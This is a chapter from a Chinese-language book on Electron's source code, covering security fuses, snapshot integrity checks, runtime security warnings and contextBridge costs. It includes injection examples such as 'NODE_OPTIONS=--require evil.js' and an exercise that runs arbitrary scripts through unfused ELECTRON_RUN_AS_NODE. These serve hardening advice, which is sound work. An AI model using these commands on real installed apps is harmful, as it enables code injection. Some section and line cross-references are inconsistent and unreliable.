"不看磁盘"是关键——如果这个判断依赖 stat(),不同进程可能在不同时刻看到不同的结果(一个进程判定"是归档",另一个判定"是目录"),于是出现"主进程从 asar 读、渲染进程从目录读"的分裂。用纯粹的字面路径比较,保证所有进程一致。

两个 s_paths 是同一个路径的两种写法(原始拼接 vs MakeAbsoluteFilePath 之后),因为模块加载器有时传相对、有时传绝对。

15.9.5 embedded_asar_integrity_validation:与 V8 snapshot 的意外耦合

这个 fuse 启用后,Electron 会校验 asar 归档的完整性——归档头部有一个哈希表,任何文件被改都会被检测到。这挡住的是"改了 asar 里的一个 JS 文件"这类攻击。

但它的消费点里有一个不太直观的(electron_main_delegate.cc:128):

void ValidateV8Snapshot(v8::StartupData* data) {
	if (data->data &&
	electron::fuses::IsEmbeddedAsarIntegrityValidationEnabled()) {
	CHECK_GT(data->raw_size, 0);
	UNSAFE_BUFFERS({
	base::span<const char> span_data(
		data->data, static_cast<unsigned long>(data->raw_size));
	CHECK(base::ToLowerASCII(base::HexEncode(
				crypto::hash::Sha256(base::as_bytes(span_data)))) ==
			electron::snapshot_checksum::kChecksum);
	})
	}
}

V8 snapshot 也归这个 fuse 管。 snapshot 是 V8 的堆快照(内建对象、字节码缓存),被篡改等于"在 JS 引擎启动前就注入代码",比改 asar 更底层。

为什么复用 asar integrity 的 fuse 而不是新开一个?因为两者是同一个威胁模型的两端:"保护应用的代码与初始状态不被替换"。一个 fuse 守住两层,减少了"只开一半"的可能——如果分成两个,开发者很可能只开一个,另一个成为漏洞。

注意这里用的是 CHECK 而不是 LOG。校验失败直接崩进程,没有"降级运行"的选项。这是有意的:如果 snapshot 被改了,继续运行可能已经在执行攻击者的代码,崩溃是更安全的选择。

15.9.6 剩下的四个

grant_file_protocol_extra_privileges(默认开)。 关掉它会移除 file:// 的几个特权(electron_content_client.cc:151 是其中一个消费点):

	if (electron::fuses::IsGrantFileProtocolExtraPrivilegesEnabled()) {
	schemes->service_worker_schemes.emplace_back(url::kFileScheme);
	}

file:// 能注册 Service Worker 是违反 Web 标准的(标准规定只有安全上下文能注册,file: 不是)。Electron 加上它是为了兼容——大量本地应用用 SW 做缓存或离线。

关掉它的代价:任何依赖 file:// + Service Worker 的应用会挂。所以默认开着。

另外五个消费点分布在 renderer client、URL 层、以及 CORS 相关处理上,共同构成"file:// 页面在 Electron 里比在浏览器里更宽松"这个事实。

cookie_encryption(默认关)。 打开后 Cookie 会用系统密钥链加密(network_context_service.cc:115)。默认关是因为它对老应用有兼容风险——某些平台的密钥链在其他用户/会话下不可用,会导致 Cookie 读不出来。

wasm_trap_handlers(默认开)。 控制是否为 WebAssembly 的 trap 安装信号处理器(三个消费点:browser main parts、renderer client、node service)。关掉它的场景很少——主要是在某些嵌入式/受限环境里,安装信号处理器会失败并导致启动崩溃。

load_browser_process_specific_v8_snapshot(默认关)。 打开后,浏览器进程会加载独立的 browser_v8_context_snapshot.bin 而不是和渲染进程共用:

electron_main_delegate.cc:398-404

std::string_view ElectronMainDelegate::GetBrowserV8SnapshotFilename() {
	bool load_browser_process_specific_v8_snapshot =
	IsBrowserProcess() &&
	electron::fuses::IsLoadBrowserProcessSpecificV8SnapshotEnabled();
	if (load_browser_process_specific_v8_snapshot) {
	return "browser_v8_context_snapshot.bin";
	}
	return ContentMainDelegate::GetBrowserV8SnapshotFilename();
}

它不是安全项,是启动性能项。给浏览器进程一个专用 snapshot,可以让它的启动跳过一些只为渲染进程准备的内建对象。默认关是因为它增加包体(多一个文件)。

15.9.7 推荐的翻转组合

生产打包的建议(按重要性排序):

fuse建议值理由
run_as_node0等价于任意代码执行
node_cli_inspect0关掉调试器与 SIGUSR1
node_options0挡住 NODE_OPTIONS 注入
only_load_app_from_asar1挡住 resources/app/ 替换
embedded_asar_integrity_validation1挡住 asar/snapshot 篡改
grant_file_protocol_extra_privileges视情况关掉更安全,但可能破坏 SW
cookie_encryption视情况打开更安全,但要测跨会话
其余两个保持默认与安全无关

注意"必须一起关"的组合:node_options 和 node_cli_inspect 要一起关。只关 node_options 而留着 node_cli_inspect,攻击者仍能用 --inspect 挂调试器;只关 node_cli_inspect 而留着 node_options,攻击者仍能通过 NODE_OPTIONS=--require evil.js 注入代码(--require 不在白名单里,但如果白名单被绕过呢)。


15.10 运行期的安全警告

fuses 是打包时的事,contextBridge 是运行时的事。中间还有一层:Electron 会在控制台里喊。

security_warnings.cc:274-276 281 行,注册点在 renderer_client_base.cc:378:

	new ElectronApiServiceImpl(render_frame, this);
	MaybeAddSecurityWarnings(render_frame);

15.10.1 只在主 frame 注册

security_warnings.cc:274-276

void MaybeAddSecurityWarnings(content::RenderFrame* render_frame) {
	// Whether to log is decided per load, since the page can opt in through
	// window.ELECTRON_ENABLE_SECURITY_WARNINGS even in a packaged app.
	if (render_frame->IsMainFrame())
	new SecurityWarnings(render_frame);
}

IsMainFrame() 一道过滤。子 frame 不检查——因为它们通常加载的是第三方内容,用你的 webPreferences 评判它们没有意义(虽然 <webview> 的 guest 有自己的主 frame,会被单独检查)。

注释里那句话解释了为什么"是否记录"要每次加载判断而不是进程级判断:因为页面能在运行时通过 window.ELECTRON_ENABLE_SECURITY_WARNINGS opt-in。如果进程级缓存,一个页面开了之后所有页面都开,不符合语义。

15.10.2 SecurityWarningsEnabledForProcess 的三平台判定

警告是否出现,取决于一个进程级的一次性判断(:57-77):

security_warnings.cc:56-63

bool SecurityWarningsEnabledForProcess() {
	static const bool enabled = [] {
	auto env = base::Environment::Create();
	if (env->HasVar("ELECTRON_DISABLE_SECURITY_WARNINGS"))
	return false;
	if (env->HasVar("ELECTRON_ENABLE_SECURITY_WARNINGS"))
	return true;
	base::FilePath::StringType exe =
		base::CommandLine::ForCurrentProcess()->GetProgram().value();
#if BUILDFLAG(IS_MAC)
	return base::EndsWith(exe, "MacOS/Electron") ||
		exe.find("Electron.app/Contents/Frameworks/") != std::string::npos;
#elif BUILDFLAG(IS_WIN)
	return base::EndsWith(exe, L"\\electron.exe");
#else
	return base::EndsWith(exe, "/electron");
#endif
	}();
	return enabled;
}

优先级是环境变量 > 可执行文件名。两个环境变量里,DISABLE 排在 ENABLE 前面——如果两个都设了,警告关闭。这个顺序是对的:显式关比显式开更"强烈"(开发者在排查"警告太吵"时更可能两个都设)。

三个平台的判定都在回答同一个问题:"这个二进制是 stock 的 electron,还是被重命名过的打包产物?"

  • macOS:路径以 MacOS/Electron 结尾,或者路径里含 Electron.app/Contents/Frameworks/。后者覆盖了 helper 进程(它们在 Frameworks/Electron Helper.app/... 里)。用 EndsWith 而不是精确匹配,是因为开发时跑的是 node_modules/electron/dist/Electron.app/Contents/MacOS/Electron。
  • Windows:以 \electron.exe 结尾。这是最脆弱的一条——只要把 electron.exe 重命名成 MyApp.exe,警告就消失了。也就是说在 Windows 上,"打包后不警告"这个行为的默认实现,实际上是**"重命名就够"**,而不是"真的检测到打包"。
  • Linux:以 /electron 结尾。同理。

这个判定方式解释了为什么 ELECTRON_ENABLE_SECURITY_WARNINGS 这个变量存在:它是唯一能在打包产物里重新打开警告的方式。可靠性不依赖文件名猜测。

一个实操建议:在 CI 的 e2e 测试里设上它。这样"某个测试启动的应用用了危险配置"会在日志里留下痕迹,而不用等到有人手工审计。

static const bool 意味着这个判断每进程只做一次。所以同一个进程内不同页面共用这个结果——这也是为什么"是否记录"要另外做 per-load 判断(:105、:115 那两处)。

15.10.3 DidFinishLoad 而非 DidCreateScriptContext

security_warnings.cc:93-94

	void DidFinishLoad() override {
	blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
	...

为什么不在脚本上下文创建时检查?因为 WarnAboutInsecureResources 需要 Resource Timing 数据:

security_warnings.cc:152-154

	for (const auto& entry :
		blink::DOMWindowPerformance::performance(*window)->getEntriesByType(
			blink::AtomicString("resource"))) {

getEntriesByType("resource") 只有在页面加载完成后才有完整数据。如果在 DidCreateScriptContext 里查,什么都查不到。

代价是警告出现得晚——用户先看到页面,几秒后才在控制台看到警告。对开发体验来说这不是问题(开发者会看控制台),但对"用控制台截图做安全审计"的场景有点烦。

15.10.4 八个检查,对应安全文档的八条

	WarnAboutNodeWithRemoteContent(prefs, url);   // 注释写 #2
	WarnAboutDisabledWebSecurity(prefs);          // 注释写 #5
	WarnAboutInsecureResources(context);          // 注释写 #1
	WarnAboutInsecureContentAllowed(prefs);       // 注释写 #7
	WarnAboutExperimentalFeatures(command_line);  // 注释写 #8
	WarnAboutEnableBlinkFeatures(command_line);   // 注释写 #9
	WarnAboutInsecureCSP(context);                // 注释写 #6
	WarnAboutAllowedPopups();                     // 注释写 #10

八条检查,每条上面都有一行形如 // #5 Do not disable websecurity 的注释,指向 security.md 的条款号。

但这些编号全都过期了。 当前的安全文档有 20 条,实际对应关系是:

检查函数注释写的编号文档现在的编号文档现在的标题
WarnAboutInsecureResources#1#1Only load secure content
WarnAboutNodeWithRemoteContent#2#2Do not enable Node.js integration for remote content
WarnAboutDisabledWebSecurity#5#6Do not disable webSecurity
WarnAboutInsecureCSP#6#7Define a Content Security Policy
WarnAboutInsecureContentAllowed#7#8Do not enable allowRunningInsecureContent
WarnAboutExperimentalFeatures#8#9Do not enable experimental features
WarnAboutEnableBlinkFeatures#9#10Do not use enableBlinkFeatures
WarnAboutAllowedPopups#10#11Do not use allowpopups for WebViews

前两条对得上,从第三条起全部偏移一位。原因是文档在中间插入了新的 #5 "Handle session permission requests from remote content",把后面所有条款推后了一位,而代码里的注释没跟着改。

这个漂移值得单独记一笔,因为它是"注释里的数字引用"这种做法的典型代价。 代码注释写 // #5 时,它引用的是"当时的第 5 条";文档一改,引用就指向了别的内容,而且没有任何机制会报错——注释不是代码,编译器和测试都不管它。

同一份代码里也有做对的地方:注释除了编号还写了标题(// #5 Do not disable websecurity)。正是因为保留了标题,才能在上面的表里把对应关系重建出来。如果只写 // #5,这个漂移就永远发现不了。

所以引用文档时的规则是:要么引标题,要么引锚点链接,不要只引序号。 序号是最不稳定的引用形式——它随插入、删除、重排而变,而标题只在语义真的变了时才变。

20 条里只有 8 条能被自动检查。剩下的 12 条是"你该怎么做"的建议("Use a current version"、"Validate the sender of all IPC messages"、"Do not expose Electron APIs to untrusted web content"),无法用代码判定。其中 #19 "Check which fuses you can change" 正好是 15.9 讲的那件事——文档在这一条里承认了"fuse 需要你手工决定",而这恰恰是最容易漏的一步。

四个检查的细节:

WarnAboutNodeWithRemoteContent 的 host 判断。

security_warnings.cc:176-179

	if (!prefs.node_integration || url.host() == "localhost")
	return;
	if (!url.SchemeIsHTTPOrHTTPS() && !url.SchemeIs("ftp") && !url.SchemeIs("ftps"))
	return;

只有 http/https/ftp/ftps 且非 localhost 才警告。file:// 不警告——因为本地文件被认为是可信的(这是 Electron 的基本假设)。data: 也不警告,虽然它同样能跑任意代码。

WarnAboutInsecureResources 的三重过滤。

security_warnings.cc:156-157

	if ((resource.SchemeIs("http") || resource.SchemeIs("ftp")) &&
		!IsLocalhost(resource)) {

只看 http/ftp(不看 https),排除 localhost。注意它不看主文档的 scheme——一个 https 页面里混了 http 资源也会被报出来。这正是它的价值。

WarnAboutInsecureCSP 反向判定。

security_warnings.cc:204-206

	if (!execution_context ||
		execution_context->GetContentSecurityPolicy()->ShouldCheckEval()) {
	return;
	}

ShouldCheckEval() 为真表示"CSP 禁止了 eval",也就是"配置是好的",所以 return 不警告。为假才警告。逻辑是反的,读的时候容易看错。

ShouldCheckEval() 为假有两种可能:没有 CSP(默认允许 eval),或者 CSP 里有 unsafe-eval。警告文案把两种都覆盖了:"either no Content Security Policy set or a policy with 'unsafe-eval' enabled"。

WarnAboutAllowedPopups 用 CSS 选择器。

security_warnings.cc:251-256

	if (render_frame()
			->GetWebFrame()
			->GetDocument()
			.QuerySelectorAll(blink::WebString::FromUtf8("[allowpopups]"))
			.empty()) {
	return;
	}

一个属性选择器扫全文。这意味着只要有一个 <webview allowpopups>,整个页面都会被警告——不管那个 webview 加没加载。

15.10.5 WindowProxyMaybeUninitialized 的用意

security_warnings.cc:99-106

	// A page that has not run any script has no main world context yet, and
	// so cannot have opted in; don't create one on its behalf.
	v8::Local<v8::Context> context =
		static_cast<blink::WebLocalFrameImpl*>(frame)
			->GetFrame()
			->WindowProxyMaybeUninitialized(
				blink::DOMWrapperWorld::MainWorld(isolate))
			->ContextIfInitialized();
	if (context.IsEmpty() && !SecurityWarningsEnabledForProcess())
	return;
	if (context.IsEmpty())
	context = frame->MainWorldScriptContext();

这段代码在解决一个很具体的问题:frame->MainWorldScriptContext() 会创建 context(如果还没有)。

如果页面上一个脚本都没跑(比如一个纯静态 HTML,或者一个被 CSP 全禁的页面),调用 MainWorldScriptContext() 会凭空创建一个主世界 context——这有副作用:它会让 Blink 认为这个 frame 已经初始化了 JS,可能影响后续的 ShouldNotifyClient 判断(第 12 章 12.8.3)。

所以先用 WindowProxyMaybeUninitialized(...)->ContextIfInitialized() 查"有没有",没有的话:

  • 如果是打包应用(SecurityWarningsEnabledForProcess() 为假)→ 直接 return,不检查。因为没有 context 就没有 ELECTRON_ENABLE_SECURITY_WARNINGS opt-in,而打包应用默认不警告。
  • 如果是未打包(开发中)→ 才真的创建 context,继续检查。

这个顺序保证:开发时一定会警告(哪怕页面没跑脚本),打包后一定不创建 context。 两条路径各自最优。

v8::MicrotasksScope 用的是 kDoNotRunMicrotasks:

	v8::MicrotasksScope microtasks_scope(
		context, v8::MicrotasksScope::kDoNotRunMicrotasks);

与第 12 章 12.10 的 kRunMicrotasks 形成对比:document-end 的 preload 需要跑微任务(保证 preload 注册的回调立刻生效),而安全警告不需要——它只读不写。选了 kDoNotRunMicrotasks 避免在 DidFinishLoad 里意外触发页面的微任务队列。

15.10.6 只警告,不阻止

这是整个安全设计里最需要理解的一个取向:Electron 从不因为"配置危险"而拒绝启动。

webPreferences.nodeIntegration: true + 远程 URL —— 只警告。 webSecurity: false —— 只警告。 allowRunningInsecureContent: true —— 只警告。 experimentalFeatures: true —— 只警告。

为什么?因为 Electron 的定位是"应用框架",不是"浏览器"。开发者可能确切地知道自己要什么(一个内部工具、一个 kiosk、一个离线应用)。如果框架强制拒绝,那些合法的用法就无法实现。

代价是:新手上手时,所有危险配置都能正常工作,只有控制台里一行黄字。这行字在打包后还不出现(SecurityWarningsEnabledForProcess 对打包应用返回假)。所以"开发时没看见警告,上线后被攻破"是一个真实存在的失败模式。

缓解手段是 ELECTRON_ENABLE_SECURITY_WARNINGS=1 环境变量——它在打包应用里也能强制打开警告。这个变量值得在 CI 里设上:

ELECTRON_ENABLE_SECURITY_WARNINGS=1 npm run test:e2e

这样任何在测试里跑起来的危险配置都会在日志里留痕。


15.11 失败模式手册

症状根因位置
window.api 是 {}源对象的方法全在原型上(或全是 non-enumerable)ONLY_ENUMERABLE + Own(15.4.1)
exposeInMainWorld 报 "Cannot bind an API on top of an existing property"Has() 查了整条原型链(toString、constructor 都算):750-755(15.2.1)
第二次 exposeInMainWorld 同一个 key 抛错第一次留下的是 readonly + non-configurable 属性:773(15.2.3)
暴露大对象后 preload 启动慢DeepFreeze 的 std::set 每次递归深拷贝,O(N²):71-98(15.2.2)
exposeInMainWorld 静默失败、无报错DeepFreeze 遇到会抛的 getter 返回 false,ExposeAPI 直接 return:769-771
传 Vue 3 reactive 对象抛 DataCloneErrorIsProxy() 被排除在 IsPlainObject 外,走结构化克隆:116(15.3.8)
传 import * as api 抛错Module Namespace 不可克隆:116(15.3.8)
自引用数组抛 "recursion depth exceeded"数组的 CacheProxiedObject 在循环之后:403-405(15.3.6)
throw new MyError() 到主世界只剩 message异常被降级为字符串后重造 Error:546-577(15.5.2)
err.code 在主世界是 undefined错误只搬 message:357-376(15.3.5)
跨 world promise 永远 pending源 context 被销毁,弱引用守卫 return:265-267(15.3.4)
页面的 Function.prototype 被改后 bridge 行为异常不该发生——spec:387 保证整条链零 JS 调用:346-349(15.5.5)
在 preload 里调 this.xxx 静默失败this 是主世界的 frozen proxy:226(15.5.2)
executeInMainWorld 报 xxx is not defined闭包不跨 world,只有函数源码过去:974-983(15.7.1)
executeInMainWorld({ func: Math.max }) 编译失败[native code] 不是合法 JS:974(15.7.1)
contextBridge 报 "can only be used when contextIsolation is enabled"CheckContextIsolated 走了 Window 分支且偏好为假:1147-1162(15.1.3)
exposeInIsolatedWorld(99999, ...) 没报错但也没效果该 world 被创建了,但没有代码在那里跑:794-797(15.1.4)
打包后 ELECTRON_RUN_AS_NODE=1 yourapp 能跑任意脚本run_as_node fuse 没关15.9.2
改了 asar 里的 JS 但应用行为没变resources/app/ 目录覆盖了 app.asar15.9.4
控制台没有任何安全警告打包应用默认静默,需要 ELECTRON_ENABLE_SECURITY_WARNINGS=1:57-77(15.10.5)

15.12 性能账本

contextBridge 的开销全在 preload 启动和首次调用上,不在稳态。以下数字来自代码结构的推算(单次操作量级),不是实测基准。

操作量级说明
exposeInMainWorld 建一个 10 成员 API50–200 µs10 次属性读 + 10 次 proxy 创建
同上,但含一个 100 成员的嵌套对象1–3 msDeepFreeze 的 O(N²) set 拷贝主要在这里
每次 proxy 函数调用(参数是原始值)2–5 µs一次 Call + 两次 scope 切换
每次调用(参数是一个 10 字段对象)15–40 µs10 次 CreateDataProperty + cache 插入
v8::Function::New 每个函数1–2 µs包含一次 isolate 内的函数模板查找
GetIdentityHash 每个对象0.3–1 µs第一次调用会写入对象头
跨 world Promise 每个3–8 µsshared_ptr + 2 个 v8::Global + Then
一个 5000 节点的树过桥200–400 ms5000 × (属性复制 + identity hash)
每个 proxy 函数的常驻内存~200 字节 + 原函数引用见下

最容易被低估的是"引用保持"这笔账。

slots[kProxiedFunction] = func 存的是原函数的 v8::Local,而 proxy 在主世界被 window.api 强引用(SetReadOnlyNonConfigurable 让它永远活着)。于是:

window.api  ──强引用──▶ proxy 函数 ──强引用──▶ preload 的原函数
												│
												├─▶ 它的闭包
												└─▶ 闭包里的所有东西

只要 window.api 活着(也就是页面活着),preload 的整个闭包环境就活着。 如果 preload 里那个函数捕获了一个 10 MB 的缓存,这 10 MB 永远不会被回收——即使那个函数从没被调用过。

这是一个非常容易踩的坑:

// preload
const bigCache = new Map();  // 假设后来装了 100 MB 数据
contextBridge.exposeInMainWorld('api', {
	lookup: (k) => bigCache.get(k)   // 这个函数捕获了 bigCache
});

页面存活期间,bigCache 占的 100 MB 不会被 GC。这不是泄漏(有意的引用),但它是"上下文隔离带来的隐性成本",很多人不知道。

规避方法:不要在暴露的函数里直接捕获大对象,改成模块级变量 + 间接访问:

// 仍然捕获,但只有一个模块作用域,销毁时可控
let bigCache = new Map();
contextBridge.exposeInMainWorld('api', {
	lookup: (k) => bigCache.get(k),      // 捕获的是模块作用域,不是大对象本身
	clearCache: () => { bigCache = new Map(); }  // 能主动释放
});

这样至少可以主动释放。注意 clearCache 能被页面调用——如果不想给它这个权限,就在主进程侧触发释放。

第二个容易低估的是 DeepFreeze 的复杂度。 std::set<int> frozen 是按值传递的(:73),每次递归调用都会复制整个 set。对一个有 N 个属性的树,总拷贝量是 O(N²) 次 int 拷贝 + O(N²) 次哈希插入。N = 100 时是 10,000 次操作(约 0.5 ms),N = 500 时是 250,000 次(约 15 ms)。

如果 API 很大,一个可行的优化是预先把 API 结构拍平成浅对象——但那样会改变 API 的形状。另一个办法是让 frozen 按引用传(std::set<int>&),这是一个纯粹的性能改动、不改变语义,但目前代码没这么做。


15.13 练习题

15.1(入门) 写一个 preload,把 { a: 1, b: () => 2, [Symbol('c')]: 3 } 通过 exposeInMainWorld 暴露。在主世界打印 Object.keys(window.x) 和 window.x[Object.getOwnPropertySymbols(...)],解释为什么 symbol 键不见了(15.4.1)。

15.2(入门) 在 preload 里暴露 ipcRenderer,观察主世界拿到的是什么。然后手动把三个方法搬到实例上再暴露一次,对比结果,解释为什么"护栏是结构性的而非策略性的"(15.4.1)。

15.3(进阶) 构造一个自引用数组 a.push(a) 和一个自引用对象 o.o = o,分别暴露。解释为什么一个抛递归错误、一个正常(15.3.6、15.6.1)。

15.4(进阶) 在 preload 里暴露一个方法,它接受回调并在内部调用:fn(x) { return cb(x) }。在主世界的 cb 里再调 window.api.fn(cb),递归 10000 次。观察 RangeError,解释为什么 kMaxRecursion = 1000 拦不住它(15.8.3)。

15.5(进阶) 用 --enable-features=ContextBridgeMutability 启动应用,重复 15.2 的第二次暴露。对比"能覆盖"与"不能覆盖"的行为差异,然后解释为什么这个 flag 是"迁移用"而不是"生产用"(15.2.4)。

15.6(深入) 把 security_warnings.cc 里 WarnAboutInsecureCSP 的判定改成 if (...->ShouldCheckEval()) Warn(...)(去掉 !),重新构建,用一个没有 CSP 的页面观察警告消失。解释为什么这个检查是反向的(15.10.3)。

15.7(深入) 打包一个应用,只关 run_as_node fuse,保留其余默认。验证 ELECTRON_RUN_AS_NODE=1 ./app -e "console.log(1)" 失败,而 NODE_OPTIONS=--require ./evil.js ./app 仍然生效。然后补关 node_options,再验证(15.9.7)。

15.8(挑战) 给 DeepFreeze 加一个按引用传 frozen 的重载,用 500 个成员的 API 测 exposeInMainWorld 的耗时。确认语义不变(循环引用仍然被切断、冻结仍然完整),并解释为什么"按值传"在语义上其实没有必要(15.12)。


15.14 下一章

本章讲的是"值怎么在一个渲染进程内的两个 world 之间流动"。下一章要跳到另一个完全不同的执行环境:service worker、Web Worker、utility process。

三条线索:

线一:15.1.3 提到 CheckContextIsolated 对"非 Window"直接返回真,GetTargetContext 对 IsShadowRealmGlobalScope() 走 GetInitiatorContext。第 16 章要讲 preload_realm_context 这个机制:service worker 的 preload 跑在什么里面,为什么需要一个 shadow realm,以及 GetInitiatorContext 沿着什么链找回来。

线二:第 12 章 12.0 的表格里有一行 "worker | web_worker_observer.cc | 329 | worker 里的 Node.js 环境"。本章没碰它——因为 Web Worker 里的 preload 与 contextBridge 是两套完全不同的机制(Worker 没有 DOM、没有 world 概念,contextBridge 在 Worker 里也不能用)。第 16 章讲 WebWorkerObserver 怎么给每个 Worker 建 Node 环境。

线三:15.9 的 fuses 里 wasm_trap_handlers 有三个消费点,其中一个在 node_service.cc。这个文件属于 utility process——一个"不是渲染进程但有 Node"的进程类型。第 16 章讲它和渲染进程的区别:没有 Blink、没有 webContents、但能跑 require。

一句话预告第 16 章的立论:"worker 类进程"在 Electron 里不是一个概念,是四个——service worker、dedicated worker、utility process、node service。它们共享"没有 Blink"这个特征,却各自有一套完全不同的 preload/IPC/生命周期机制,混用它们的 API 是这一层最常见的错误。

15.15 本章源码落点索引

下列位置全部来自本仓库源码树,按实现层归集;每个 路径:行号 指向该文件中与本章论述对应的声明或实现行,可逐条复核。

  • 浏览器进程 C++ 层:network_context_service.h:16 network_context_service_factory.cc:14 network_context_service_factory.h:12 system_network_context_manager.cc:45 system_network_context_manager.h:18 native_window.cc:55 native_window.h:29 native_window_mac.h:22
  •  native_window_mac.mm:52 native_window_mac_remote.h:25 native_window_mac_remote.mm:46 native_window_observer.h:19 native_window_views.cc:106 native_window_views.h:33 native_window_views_win.cc:49 preload_code_cache.cc:38
  •  preload_code_cache.h:18 preload_script.cc:27 preload_script.h:17
  • 渲染进程 C++ 层:web_worker_observer.h:15 security_warnings.h:9 electron_ipc_native.cc:25 electron_ipc_native.h:15 preload_environment.h:14 preload_realm_context.cc:43 preload_realm_context.h:11 preload_utils.cc:48
  •  preload_utils.h:15 service_worker_data.cc:16 service_worker_data.h:24
  • API 文档与类型:context-bridge.md:5
  • shell 其余实现:process_util.h:12 electron_natives_codecache_main.cc:40 constructor.h:20 node_natives_code_cache.cc:16 node_natives_code_cache.h:11 node_natives_code_cache_internal.h:11 node_natives_code_cache_stub.cc:21
  • 其他相关位置:native-code-and-electron-cpp-linux.md:5 native-code-and-electron-cpp-win32.md:112 native-code-and-electron-objc-macos.md:122 native-code-and-electron-swift-macos.md:31 native-code-and-electron.md:146 native-file-drag-drop.md:24 tutorial-3-preload.md:2 using-native-node-modules.md:4